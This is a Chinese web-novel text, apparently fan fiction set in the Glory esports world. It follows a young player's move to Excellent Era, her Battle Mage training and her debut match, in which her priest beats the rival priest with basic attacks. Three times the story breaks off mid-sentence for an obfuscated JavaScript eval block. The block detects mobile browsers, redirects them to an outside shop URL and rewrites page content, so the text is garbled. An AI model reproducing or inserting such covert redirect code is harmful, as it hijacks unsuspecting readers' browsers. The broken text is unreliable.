然后他移开鼠标,关掉了图片窗口,顺手把和叶秋的整个聊天记录也关了。 房间里只剩下电脑主机运行时低低的嗡鸣声,还有窗外隐约的虫鸣。夜风吹动窗帘,带来一丝凉意。 34.初入联盟 成了职业选手之后的生活比夏轻禾想象中要忙碌得多,倒不是说训练强度比微草训练营大了多少,而是那些训练之外的事情一件接着一件冒出来,让人有点应接不暇。 签完合同没几天,陶轩就把她叫到了办公室,笑眯眯地递过来一摞文件。 夏轻禾低头翻了翻,什么个人形象策划方案,社交媒体运营指南,粉丝互动活动安排,看得她脑袋发晕。 陶轩靠在老板椅上,手指点着桌面,语气很随意但是内容让夏轻禾有点懵:“小禾啊,咱们嘉世现在的女队员不多,苏沐橙是一个,现在你来了,就是第二个。女选手在联盟里本来就少,长得好看的更少,这是优势,得好好利用。” 夏轻禾当时愣了两秒,反应过来陶轩说的是什么意思后,嘴角抽了抽:“陶叔叔,您这是要把我包装成偶像吗?” “偶像谈不上,职业选手嘛,营销很正常。”陶轩笑得一脸坦然,甚至还指了指墙上贴着的一张巨大的周泽楷海报,那上面轮回的王牌枪手侧着脸,轮廓分明的脸确实帅气得很,“你看看人家周泽楷,技术好,长得也好,人气多高,商业价值多大。咱们嘉世也不能落后不是?” 夏轻禾顺着他的手指看向那张海报,来不及吐槽为什么会有周泽楷的海报在这里,又转回头看着陶轩那张笑眯眯的脸,心里突然冒出一个念头:这位陶叔叔看自己的眼神,怎么那么像看一棵摇钱树呢? 她翻了个白眼,但也知道陶轩说的有道理,职业联盟早就不是单纯打比赛的地方了,选手的个人形象、粉丝运营、商业价值,这些东西都是一体的。 接下来的日子,夏轻禾的生活就被这些乱七八糟的事情填满了。 拍照,录视频,写微博文案,接受小范围的媒体采访,甚至还要学怎么在镜头前笑得自然。 陶轩的效率高得惊人,没几天她的官方认证微博就开通了,第一条动态发出去,配图是她在训练室里的侧脸照,评论区瞬间涌进来几百条留言。 夏轻禾窝在宿舍床上,抱着手机一条条往下刷,脸上的表情越来越复杂。 “小姐姐好漂亮!” “嘉世新治疗?期待期待!” “妹子眼睛好大啊,笑起来可爱!” “听说你是从微草过来的?为什么转会啊?” “期待新赛季的表现!加油加油!” 评论区的画风五花八门,有夸颜值的,有期待比赛的,也有好奇她转会原因的,还有一些明显是微草粉丝发来的“欢迎回踩”之类的话。 夏轻禾一条条看着,手指在屏幕上划来划去,感觉额头上好像有汗在往外冒。 她放下手机,盯着天花板发了会儿呆。房间里很安静,只有窗外的风声偶尔吹动窗帘。 这才刚开始,粉丝才几百个,评论区就这么热闹了。 要是以后粉丝多了,那些期待、质疑、夸奖、批评,不得把自己淹死? 夏轻禾翻了个身,把脸埋进枕头里,闷闷地叹了口气。这陶轩,完全就是在坑她嘛! 她明明是想来学战斗法师的,是想转型攻坚手的,怎么现在搞得好像要出道当明星似的? 可是转念一想,人家也没说错,职业选手确实需要营销,这是联盟的规则,也是俱乐部生存的方式。 她签了合同,拿了工资,就得配合这些工作。 道理都懂,就是有点不适应。 在床上又躺了一会儿,夏轻禾一骨碌爬起来,抓了抓有点乱的头发,决定不去想那些有的没的。 管他什么营销不营销,训练才是正事。她换了身衣服,拿起手机就往外走。 推开训练室的门,里面传来噼里啪啦敲键盘的声音。 靠窗的那台电脑亮着,叶秋坐在那儿,屏幕上是一片训练场的场景,他的战斗法师小号正站在场中央发呆。 叶秋听到动静,转过头看了她一眼,下巴朝旁边的位置抬了抬:“坐。” 夏轻禾走过去坐下,目光落在叶秋的屏幕上。那个战斗法师一动不动,显然是被晾在那儿了。 “陶轩没为难你吧?”叶秋松开鼠标,靠在椅背上,语气随意,像是在问今天天气怎么样。 夏轻禾想了想,老实回答:“没,就是搞得我压力有点大。又是拍照又是发微博的,评论区那些人说什么的都有,我看着有点慌。” 叶秋听了,脸上没什么特别的表情,只是嘴角似乎弯了一下,他从口袋里掏出一张账号卡,递过来。 “压力大正常,”叶秋说,语气还是那样懒洋洋的,“刚出道的新人都这样。习惯就好。” 夏轻禾接过那张账号卡,低头看了看。很普通的一张卡,嘉世统一配发的制式,背面贴着一张小小的标签,上面手写着几个字:战斗法师,满级,技能点只点了基础,剩下你自己来。 “谢谢叶哥!”夏轻禾握紧那张卡,感觉刚才那点乱七八糟的焦虑好像被冲淡了一些。 叶秋嗯了一声,转回去继续操作自己的号,随口说:“你先自己摸索摸索,熟悉一下技能和手感。有什么想问的,直接说就行。” 夏轻禾点点头,把账号卡插进读卡器。屏幕暗了一下,然后亮起来,登录界面跳出来,她输入密码,按下确认键。 角色出现在主城里,基础装备穿在身上,看起来朴实无华。夏轻禾打开技能面板,果然如叶秋所说,基础技能都点了,但那些需要技能书或者更多技能点的高级技能全是灰的。 她翻了翻背包,里面有一堆技能书和材料,足够她自己研究怎么加点。 犹豫了一下,她先点开了战斗法师的职业技能树,从最基础的龙牙、天击开始研究。 这个职业她以前接触过,但只是皮毛,真要深入玩,还差得远。 她一边看技能描述,一边在脑子里模拟那些技能组合起来的效果,时不时还会想起叶秋在比赛里用一叶之秋打出的那些操作。 弄了大概半个多小时,技能点分配得差不多了。夏轻禾满意地看了看自己的成果,然后操作着这个刚出炉的战斗法师,传送进了训练场。 训练场里很空旷,地面上画着规整的格子,远处有几个系统人机站着不动,等着被虐。夏轻禾深吸一口气,活动了一下手指,操控角色朝最近的那个人机冲了过去。 一套基础连招打出来,手感还行,但衔接的时候总感觉有点卡顿,不像叶秋操作时那么行云流水。夏轻禾皱皱眉,又试了一遍,这次稍微顺畅了一点。 她就这样在人机堆里进进出出,一遍遍重复着那些基础的技能组合,偶尔也会尝试一下稍微复杂一点的连招,虽然经常失败,但每次成功的时候都会小小地兴奋一下。 训练室里很安静,只有两台电脑的键盘声此起彼伏,偶尔夹杂着鼠标点击的声音。 窗外的天色渐渐暗下来,夕阳的余晖从玻璃窗照进来,在夏轻禾的屏幕上投下一片暖橙色的光。 叶秋不知道什么时候结束了训练,靠在椅背上,侧着头看着夏轻禾的方向。 她打得很投入,眉头微微皱着,嘴唇抿成一条线,眼睛一眨不眨地盯着屏幕。 手指在键盘上敲击的速度不算特别快,但是很有节奏,而且看得出她在思考,每一次操作之后都会停顿一下,像是复盘刚才的动作哪里不对。 又过了一会儿,夏轻禾终于停下了手上的操作,往后一靠,长长地呼出一口气。 她揉了揉有点发酸的手指,这才发现叶秋在看自己。 “怎么了叶哥?”她有点莫名地摸了摸脸,“我脸上有东西?” “没,”叶秋收回目光,站起来伸了个懒腰,“感觉怎么样?” 夏轻禾想了想,认真地说:“还行,比我想象中顺手。但是连招的节奏把握不好,总感觉断断续续的,还有那个落花掌的释放时机我总是算不准……” 她噼里啪啦说了一堆刚才训练中发现的问题,叶秋也不打断,就那么听着,偶尔点点头。等她说完,叶秋才开口:“正常,你才刚开始。这些问题慢慢练就行。” 他走到门口,回头看了夏轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173272|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 禾一眼:“今天先这样吧,明天开始正式给你安排训练内容。别太晚,明天还有得练。” “好嘞叶哥!”夏轻禾冲他挥挥手,脸上带着点兴奋。 叶秋走了,训练室里就剩下夏轻禾一个人。她没有立刻离开,而是又打开技能面板,盯着那些灰着的技能,琢磨着明天该怎么加点,该怎么练习。 窗外彻底黑下来了,训练室的灯光亮起,她托着腮,手指在鼠标上无意识地轻轻敲着,脑子里转着各种念头。 转型这条路,确实不好走。从治疗到战斗法师,从后排到前排,从保护队友到正面冲锋,几乎是把以前学的东西全都推翻重来。 但是夏轻禾这会儿反而没什么退缩的想法,心里那股劲头还挺足。 手机忽然震动了一下,夏轻禾拿起来看,是乔一帆在群里发的消息。 “轻禾姐,今天训练累不累?” 后面跟着一个关心的表情。 夏轻禾看着那行字,嘴角不自觉地弯起来,手指飞快地打字:“还行!今天刚拿到战斗法师的号,练了一下午。” 发完她又补了一句:“你们呢?训练咋样?” 群里安静了几秒,然后高英杰也冒泡了:“挺好的,王队最近在给我讲新的战术。” 刘小别发了一个“嗯”字,然后跟了一条:“今天手速破400了。” 夏轻禾看着刘小别那条消息,噗嗤笑出来。这家伙,还是老样子,永远惦记着他的手速。 她靠在椅背上,手机屏幕的光映在脸上,照出一个浅浅的笑。训练室里还是那么安静,但是好像没那么空了。 群聊还在继续,乔一帆问她嘉世的食堂怎么样,高英杰问她住得习惯不习惯,刘小别偶尔插一句,说的还是训练的事。 夏轻禾一条条回复着,手指在屏幕上跳跃,脸上的笑容一直没收起来。 聊了大概半小时,群里渐渐安静下来,大概是都去休息了。 夏轻禾看了看时间,确实不早了,明天还有训练,得回去睡觉。 她站起来,活动了一下有点僵硬的脖子,关掉电脑,拔下那张战斗法师的账号卡,握在手心里看了看,然后小心地放进口袋。 走出训练室,走廊里很安静,只有应急灯发出微弱的光。 夏轻禾慢慢往回走,脚步声在空荡荡的走廊里回响。 口袋里的手机又震动了一下,她掏出来看,是乔一帆单独发来的。 “轻禾姐,在嘉世要照顾好自己。” “有什么事随时说。” 夏轻禾盯着这两行字看了几秒,想回点什么,又不知道说什么好。最后她打了一个“好”字,加了一个笑嘻嘻的表情包,发了过去。 走到宿舍门口,她掏出钥匙,刚准备开门,手机又震了。 这次不是乔一帆,是一个陌生号码发来的短信。 “夏轻禾你好,我是XX媒体的记者,想约你做个专访,方便的话回个电话。” 夏轻禾愣住了,盯着那条短信看了半天。 陶轩那家伙,效率也太高了吧?这就开始有媒体找上门了? 她站在宿舍门口,夜风吹过来,带着点凉意。手里的手机屏幕亮着,那条短信安安静静地躺在那里,像是在等她的回复。 夏轻禾深吸一口气,把手机塞回口袋,推门进了宿舍。房间里没开灯,黑漆漆的,她摸着黑找到开关,啪的一声,灯光亮起来,驱散了黑暗。 她在床边坐下,又掏出手机看了看那条短信,眉头拧起来。 回,还是不回? 回了,就真的成了陶轩说的那种需要营销的选手了,得学会应付媒体,学会说话得体,学会在镜头前保持微笑。不回……好像也不对,人家都找上门了,躲也躲不掉。 夏轻禾倒在床上,盯着天花板。 算了,明天再说吧。 她把手机扔到一边,翻了个身,闭上眼睛。 窗外有汽车驶过的声音,远远的,模模糊糊的,像是从很远的地方传来。 35.基本训练 清晨的阳光从窗帘缝隙里挤进来,在地板上拖出一道细长的光痕。 夏轻禾睁开眼睛,盯着陌生的天花板愣了几秒,才反应过来自己已经不在b市的家里了。 昨晚那条记者短信还在脑子里转,翻了个身摸出手机,屏幕亮起来,那条短信安安静静躺在收件箱里,像一块小石头压在胸口。 洗漱完换好衣服,夏轻禾拿着手机犹豫了半天,最后还是没回。 这种事情还是问问叶秋比较稳妥,毕竟人家在联盟混了这么多年,虽然从来没有被采访过,但是还是有点应付经验的。 推开训练室的门,键盘敲击声就传了出来。 叶秋已经到了,坐在老位置,屏幕上还是那个战斗法师小号在训练场里。 听到动静,叶秋头也没回,只是抬了抬下巴示意旁边的座位。 夏轻禾坐下,把手机往桌上一放,屏幕朝上,那条短信明晃晃地亮着。 叶秋瞥了一眼,又收回目光,语气还是那副懒洋洋的样子:“媒体找上门了?挺快。” “可不是嘛,”夏轻禾托着腮,眉头皱着,“陶叔叔昨天刚给我开了微博,今天就有人来约专访。叶哥,这怎么回啊?” 叶秋松开鼠标,靠在椅背上想了想,说:“不想回就不回,想回就回,没什么大不了的。媒体嘛,你越搭理他们越来劲,你不搭理他们也拿你没办法。” 夏轻禾眨了眨眼睛:“就这么简单?” “就这么简单,”叶秋点头,又补充了一句,“不过陶轩那边可能希望你多露脸,你自己把握分寸就行。不想接的采访就推掉,说训练忙,说要适应新环境,理由多得是。” 听叶秋这么说,夏轻禾心里踏实了一点。她把手机收起来,决定先把这事放一放,反正也不急这一天两天。 “对了叶哥,今天练什么?”夏轻禾把那张战斗法师账号卡插进读卡器,一边登录一边问。 叶秋站起来,走到夏轻禾身后,看着屏幕上的角色,说:“今天不练连招,先练基本功。你昨天打了半天人机,感觉怎么样?” 夏轻禾想了想,老实回答:“基础的龙牙天击这些还行,但是一组合起来就卡顿,而且那个落花掌的距离我总是把握不好,要么打不到人,要么冲过头。” 叶秋嗯了一声,说:“正常。战斗法师和其他职业不一样,节奏感很重要。你以前玩治疗,习惯的是等别人出问题再去补救,现在你得学会主动找节奏,主动去压制对手。这个转变需要时间。” 说着,叶秋让夏轻禾操作角色进训练场,自己则在旁边看着。夏轻禾控制着战斗法师冲向人机,一套基础连招打出来,虽然比昨天顺畅了一点,但还是有明显的顿挫感。尤其是龙牙接天击的那一下,中间总有个小小的停顿,像是犹豫了一下。 叶秋在旁边看了一会儿,忽然伸手点了点屏幕上的一个位置,说:“你看这里,龙牙命中之后,你的天击按慢了。龙牙的僵直时间其实挺长的,你不用急着按下一个技能,可以稍微等零点几秒,等对手的僵直状态完全出来再出手,这样连招会更稳。” 夏轻禾听得认真,一边听一边点头。 叶秋又指了指屏幕上的人机位置,继续说:“还有你的站位。战斗法师不是刺客,不用非要绕到背后去。正面强攻的时候,你要学会用技能的范围去压对手的走位,而不是一味追求背击。” 说完,叶秋让夏轻禾退出训练场,自己在旁边那台电脑上登录了一个小号,组队把夏轻禾拉进了一个自定义房间。 “来,我陪你练。”叶秋说,语气还是那么随意,“你不用想着赢,就想着怎么用基本功压住我就行。” 夏轻禾深吸一口气,活动了一下手指,点点头。 两人进入地图,是一张简单的擂台。叶秋的战斗法师小号站在对面,一动不动,等着夏轻禾先手。 夏轻禾控制角色冲过去,起手龙牙。叶秋的角色微微侧身,轻松躲开,然后一记天击挑过来。夏轻禾慌乱中想格挡,结果没挡住,角色被挑飞到空中。 “太急了,”叶秋的声音从旁边传来,“你冲过来的时候动作太明显,我一看就知道你要出龙牙。下次可以先用小碎步调整位置,假装往左,实际往右,骗我走位之后再出手。” 夏轻禾落地,爬起来,点点头,又冲过去。这次她试着按叶秋说的,先左右晃动了几下,然后突然变向,龙牙出手。叶秋这次果然没躲开,被龙牙戳中。 “对了,就是这样,”叶秋说,“继续。” 两人就这样在训练场里打了一上午。说是打,其实更像是叶秋在喂招。 叶秋很少主动进攻,大部分时间都是在防守和躲避,偶尔出手也只是为了给夏轻禾制造压力。 夏轻禾一次次尝试,一次次失败,但每次失败之后都能从叶秋那里得到一两句指点,然后下一次尝试就会进步一点点。 午饭时间,苏沐橙敲门进来,看到两人还在训练,笑着摇了摇头:“你们俩这是要住训练室啊?吃饭了吃饭了。” 叶秋松开鼠标,站起来伸了个懒腰:“走吧,先吃饭。” 夏轻禾也退出游戏,揉了揉有点发酸的手指,跟着两人去了食堂。 食堂里人不多,夏休期大部分队员都回家了。 三人端着餐盘找了张靠窗的桌子坐下,窗外的阳光照进来,落在餐盘上,油光闪闪的红烧肉看着格外诱人。 苏沐橙夹了块排骨,看了看夏轻禾,问:“上午练得怎么样?” “还行吧,”夏轻禾扒了口饭,含糊地说,“叶哥喂招喂了一上午,我感觉比昨天进步了一点点。” 苏沐橙笑了,说:“叶秋喂招可不是谁都有的待遇,好好珍惜。” 叶秋在旁边喝着汤,一脸淡定,好像被夸的不是自己。 吃完饭,三人往回走。走到训练室门口,叶秋忽然停下来,看了看夏轻禾,说:“下午你自己练,我有点事出去一趟。晚上回来检查。” 夏轻禾点点头,虽然有点好奇叶秋要去干嘛,但也没多问。进了训练室,坐到电脑前,登录账号,又开始一个人对着人机练基本功。 训练室里很安静,只有键盘敲击声有节奏地响着。 夏轻禾一遍遍重复着那些简单的技能组合,龙牙接天击,天击接落花掌,落花掌接连突刺。每次失败就停下来想想哪里不对,然后调整一下再试。 窗外的阳光慢慢移动,从正午的刺眼变成下午的柔和,又渐渐变成黄昏的暖橙色。 夏轻禾练得入神,连时间都忘了看,直到手机震动起来,才从训练状态里抽离出来。 拿起手机一看,是陶轩打来的电话。 夏轻禾犹豫了一下,还是接了。 “小禾啊,”陶轩的声音从听筒里传出来,带着一贯的笑意,“那条媒体短信看到了吧?怎么样,想好怎么回了吗?” 夏轻禾拿着手机,目光落在窗外那片橙红色的晚霞上,沉默了两秒,说:“陶叔叔,我还没想好。” 陶轩那边笑了一声,说:“不急,慢慢想。不过小禾啊,我得提醒你一句,这些事迟早要面对的。你现在刚来,大家对你都新鲜,正是积累人气的好时候。错过这个窗口,以后想再补就难了。” 夏轻禾抿了抿嘴唇,没说话。 陶轩又说:“你也别太有压力,这些事不是让你一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182555|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人应付。俱乐部有专门的团队,会帮你安排好。你只需要配合就行,该训练训练,该比赛比赛,其他的交给我们就好。” 挂了电话,夏轻禾把手机扔在桌上,靠在椅背上盯着天花板发呆。陶轩的话没错,这些事确实迟早要面对。 可是一想到要站在镜头前,回答那些不知道会问出什么的问题,要对着那么多不认识的人保持微笑,她就觉得浑身不自在。 正想着,训练室的门被推开了。叶秋走进来,手里拎着个塑料袋,往夏轻禾桌上一放。 “没吃晚饭吧?给你带了点食堂的饭。” 夏轻禾低头一看,袋子里是两份盒饭,还冒着热气。 她愣了一下,抬头看叶秋。叶秋已经坐到自己电脑前,打开盒饭开始吃了,好像这只是件不值一提的小事。 夏轻禾也打开盒饭,红烧肉,炒青菜,还有一个荷包蛋。她夹起一块肉塞进嘴里,嚼着嚼着,忽然觉得心里那点烦躁好像被冲淡了一些。 吃完饭,叶秋没急着训练,而是靠在椅背上,像是随意地问了一句:“陶轩来电话了?” 夏轻禾点点头,把刚才的电话内容简单说了一遍。 叶秋听完,没什么表情,只是嗯了一声,然后说:“他那个人,就那样,生意人,想的都是怎么把利益最大化。不过他说得也没错,这些事你躲不掉。” 夏轻禾叹了口气:“我知道,就是有点不习惯。” 窗外的天彻底黑下来了,训练室的灯光把两人的影子投在地上。夏轻禾又练了一会儿,直到手指有点发酸才停下来。收拾东西准备回宿舍的时候,手机又震了一下。 拿出来看,是乔一帆发来的消息。 “轻禾姐,今天训练怎么样?” 夏轻禾笑了笑,打字回:“还行,练了一天基本功。” 乔一帆回得很快:“加油!对了,跟你说个事,王队今天找我谈话了,说下赛季让我出道。” 夏轻禾盯着这条消息,愣了两秒,然后嘴角慢慢咧开。 她飞快地打字:“真的?!太好了!恭喜你一帆!” 打完觉得不够,又加了一串感叹号和表情包。 乔一帆回了个害羞的表情,然后说:“谢谢轻禾姐。其实还有点紧张,不知道能不能打好。” 夏轻禾看着那条消息,脑子里浮现出乔一帆那张总是带着点不安的脸。她想了想,认真打字:“怕什么,你肯定行。叶秋都说你有阵鬼天赋,王队也认可你,你就放心大胆去打。出了岔子也没事,谁不是从新人过来的。” 发完,她又补了一句:“到时候比赛场上见,我可不会手下留情。” 乔一帆回了个“嗯”,然后又发了一条:“轻禾姐在嘉世也要加油。” 夏轻禾盯着那行字,忽然觉得眼眶有点热。她深吸一口气,用力眨了眨眼睛,打字:“知道了知道了,你也是。早点休息,别太累。” 放下手机,夏轻禾站起来,收拾好东西,关掉电脑。走到门口,回头看了一眼那台陪伴自己练了一天的电脑,屏幕已经黑了,但那张战斗法师的账号卡还在读卡器里插着。 她走过去,拔下账号卡,小心地放进口袋里。 走出训练室,走廊里很安静,只有应急灯发出微弱的光。夏轻禾慢慢往回走,脚步声在空荡荡的走廊里回响。 口袋里的手机又震了一下,她拿出来看,还是乔一帆发的。 “轻禾姐,那个……下赛季我们可能就是对手了。” 夏轻禾盯着这行字,脚步顿了一下。 夜色很深,走廊尽头是一扇窗户,月光从那里照进来,在地板上铺了一层淡淡的银白色。 36.十分诡异 第七赛季的常规赛的第一轮轮,嘉世客场挑战临海战队。 今天是夏轻禾第一次正式出场,对手是临海战队。 临海在联盟里算不上强队,常年徘徊在中下游,但对于一个刚刚出道的新人来说,第一场比赛就是这种能真正上场的实战机会,已经很难得了。 更衣室里,夏轻禾套上嘉世的队服,对着镜子看了看自己。队服有点大,袖子长了一截,她往上挽了挽,又理了理领子。 苏沐橙从旁边走过来,看了看她的样子,笑着说:“别紧张,就当是平时训练。” “嗯。”夏轻禾点点头,深吸一口气,跟着队伍走出更衣室。 场馆里的灯光很亮,观众席上坐满了人,加油声、欢呼声混成一片。 夏轻禾走在队伍后面,目光扫过那些陌生的面孔,感觉有点心跳加速。她摸了摸口袋里那张织影的账号卡,冰凉的触感让情绪稍微稳定了一些。 比赛开始前,叶秋走过来,站在夏轻禾旁边,看着场上的大屏幕,语气随意得像是闲聊:“临海的治疗,手速一般,但是稳。他们的习惯是站位靠后,喜欢躲在两个输出后面。” 夏轻禾侧过头看着叶秋,等他说下去。 叶秋继续说:“你的织影虽然是牧师号,但是打法你自己决定。陶轩那边可能有他的想法,不过场上怎么打,是你的事。” 说完,叶秋就走了,留下夏轻禾一个人站在那里,盯着大屏幕上滚动的选手介绍,心里琢磨着叶秋那几句话。 个人赛和擂台赛很快结束,嘉世和临海各有胜负,但是总的来说还是嘉世更胜一筹,毕竟是老豪门战队了。 轮到团队赛的时候,夏轻禾跟着队友走上比赛台,坐到自己的位置上,把织影的账号卡插进读卡器。 屏幕亮起来,织影出现在准备界面。这个角色她接手之后练了一段时间,装备重新搭配过,但真正用在正式比赛里,还是第一次。 倒计时归零,比赛开始。 地图选到一片废墟场景,残垣断壁交错,视野不算开阔。嘉世这边按照赛前布置的战术推进,夏轻禾操作着织影跟在队伍靠后的位置,像一个正常的牧师那样,保持距离,观察战局。 临海的阵容也是常规配置,两个输出职业顶在前面,元素法师在侧翼游走,牧师稳稳地站在最后方,被两个近战职业保护着。 双方试探了几下,很快进入正面交锋,技能光效在废墟间炸开。 夏轻禾一边维持着队友的血线,一边用余光观察着对面牧师的位置。 那个牧师果然像叶秋说的那样,站得很稳,始终躲在两个输出后面,偶尔露头丢个治疗,然后又缩回去。 比赛进行到第三分钟,嘉世这边抓住一个机会,叶秋的一叶之秋和苏沐橙的沐雨橙风打出一波配合,成功把临海的两个输出职业逼到了废墟的一角,技能压制得他们抬不起头。临海的阵型被拉扯开,正面战场陷入胶着。 夏轻禾的目光扫过小地图,发现临海的牧师此刻正处于一个尴尬的位置。 那个牧师太依赖前排的保护了,站位习惯性地往左偏,而且每次队友往前压的时候,牧师会下意识地往后退半步。这看起来是谨慎,但仔细琢磨,其实是队友之间的保护有空隙。 又一次攻防转换,临海的前排被叶秋的伏龙翔天逼退,整个阵型往后缩了一大截。就在那个瞬间,临海的牧师和前排之间出现了一个短暂的空当,时间很短,可能只有两三秒,但夏轻禾看到了。 几乎是同时,织影脱离了大部队,没有往后退,而是绕了一个弧线,借着废墟的掩护,从侧面摸向临海的后方。 叶秋注意到她的动向,但什么都没说,只是继续压制着正面的对手。 夏轻禾的心跳很快,但手很稳。织影穿过两堵断墙,从一个不起眼的缝隙里钻出来,正好出现在临海牧师的侧后方。 那个牧师显然没料到会有这种情况。操作者愣了一下,然后慌忙想往后撤,但已经来不及了。织影已经冲到了面前。 接下来的画面,让现场和屏幕前无数观众都愣住了。 织影没有用任何技能,没有读条,没有吟唱,只是举着十字架,一下一下地朝那个牧师砸过去。普通攻击,纯粹的普通攻击。 牧师的进攻手段本来就少得可怜,十字架的普通攻击伤害也低得可怜,但夏轻禾要的不是伤害,她要的是压制。 那个临海的牧师被她堵在墙角,想跑跑不掉,想读条治疗就会被砸断,无奈之下只能也举起十字架,跟织影对A起来。 两个牧师,在废墟的角落里,像两个街头斗殴的小混混一样,举着十字架互相砸。你一下,我一下,谁的十字架先落下来,谁的血条就往下掉一小截。 场面诡异到了极点。 临海那个牧师显然没经历过这种阵仗,手速和反应都比夏轻禾慢了一拍。 做了这么多年职业选手,打过无数场比赛,从来没见过这种打法。一个牧师,不老老实实待在后排加血,冲到敌人堆里,用普通攻击和对方牧师对A?这是什么操作? 解说愣了两秒,才结结巴巴地开口:“织影选手……这是要和对方牧师单挑?用的还是普通攻击?这、这种打法实在罕见……” 织影的十字架落得又快又准,节奏完全压着对方打。临海牧师的血条一点一点往下掉,前排的临海队员想回援,但叶秋和苏沐橙怎么可能给他们机会,一叶之秋的连招压得他们根本分不出身,沐雨橙风的炮弹精准地封住了每一条回撤路线。 等临海的人终于反应过来,派了一个剑客回援的时候,已经晚了。 织影最后一记普通攻击砸下去,临海牧师的屏幕灰了。 二十秒后,临海牧师的屏幕灰了下去。 全场哗然。 蓝雨俱乐部训练室里,黄少天正端着水杯看比赛直播。当织影冲进后排的那一刻,他的眼睛就瞪圆了。当两个牧师开始用普通攻击互抡的时候,他嘴里那口水直接喷了出来,洒了一桌子。 “这、这是什么鬼打法!!”黄少天指着屏幕,转向旁边的喻文州,声音都劈叉了,“让自家牧师去牵制对方牧师?两个人用普通攻击对A?第一次见这种打法!这什么战术?文州你见过吗?这是什么套路?嘉世新研究出来的吗?叶秋那家伙又在搞什么名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190817|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂?” 喻文州看着屏幕,表情没什么变化,但眼底闪过一丝思索的光芒。他没有立刻回答黄少天的问题,只是目光平静地落在那已经灰下去的临海牧师角色上。 比赛还在继续,但胜负已经没有悬念了。失去了治疗,临海战队的阵型迅速崩溃,叶秋和苏沐橙抓住机会一波推过去,直接带走了比赛。 赛后采访区,临海战队的牧师坐在话筒前,脸上的表情复杂得难以形容。记者问起最后一局的那次对决,牧师沉默了两秒,才缓缓开口。 “我打职业六年了,从来没见过这种打法。”牧师的语气里带着一股说不清是无奈还是佩服的情绪,“一个牧师,冲到后排,用普通攻击和另一个牧师对A……说真的,那一刻我都不知道该怎么反应。不是不会躲,是根本想不到有人会这么打。那一刻我脑子里全是问号,这人在干什么?她想干什么?等我想明白她在干什么的时候,我已经被她A死了。” 牧师顿了顿,又补了一句:“毕生难忘。真的,这辈子都忘不了。” 记者又问起对这位嘉世新人的看法,牧师想了想,认真地说:“疯了吧。绝对是疯了。但……挺厉害的,那种胆量,那种决断力,不是谁都有。以后遇到嘉世,我肯定不会再给她这种机会。” 采访播出后,网上炸了锅。论坛里、微博上、各种荣耀相关社群里,全在讨论这场比赛。有人笑疯了,说这是职业联赛史上最离谱的治疗对决。 有人佩服得五体投地,说这胆量绝了,真敢想也真敢做。也有人质疑,说这是乱打,运气好而已,下次肯定被针对。 嘉世俱乐部的训练室里,夏轻禾正窝在椅子里刷手机,看着网上那些五花八门的评论,脸上的表情一会儿笑一会儿囧。叶秋坐在旁边,还是那副懒洋洋的样子,手里拿着根没点的烟转来转去。 苏沐橙推门进来,手里拎着三杯奶茶,放到桌上。她看了看夏轻禾那副表情,笑着问:“怎么了?网上说什么了?” “说什么的都有,”夏轻禾放下手机,拿起一杯奶茶吸了一口,“有人说我是疯子,有人说我是天才,还有人说我这打法太损了,以后其他战队的治疗见了我就躲。” 苏沐橙笑了,坐到旁边:“那不是挺好,以后你还没上场,对面治疗就紧张了。” 叶秋难得地开口,语气还是那样慢悠悠的:“今天打得不错。虽然莽了点,但时机抓得准。” 夏轻禾愣了一下,看向叶秋。能被叶秋夸一句不错,那可不容易。她嘴角忍不住往上翘,但很快又压下去,摆摆手说:“其实就是一时冲动,看到那个空当就冲了。现在想想,万一没打过,或者对面回援及时,我可能就成送人头的了。” “没有那么多万一,”叶秋说,“你抓住了机会,赢了,那就是对的。” 夏轻禾想了想,点点头。手里的奶茶凉凉的,握在掌心很舒服。 苏沐橙和叶秋聊起了下一场比赛的对手,夏轻禾没怎么插话,只是安静地听着,偶尔喝一口奶茶。 窗外,城市的霓虹灯一闪一闪的,远处不知道哪个商场还在放音乐,声音隐约传过来,混着公交车的引擎声。 37.不想说话 嘉世下一场对手是客场面对蓝雨。这个消息在俱乐部内部传开的时候,训练室里的气氛微妙地变了一下。 蓝雨不是什么软柿子,剑与诅咒的组合在联盟里横着走,黄少天那手剑客玩得让人头皮发麻,喻文州的战术布置又向来以阴险著称,对上这样的队伍,任何轻敌都是找死。 名单上报的前一天晚上,叶秋把夏轻禾叫到训练室。 夏轻禾还以为是要加练,结果叶秋只是靠在椅背上,慢悠悠地问了一句:“个人赛第一场,敢不敢上?” 夏轻禾愣了两秒,脑子里飞快转了一圈,然后点头:“敢。” 叶秋嗯了一声,没再多说,挥挥手让她回去休息。 第二天名单公布的时候,训练室里炸了锅。 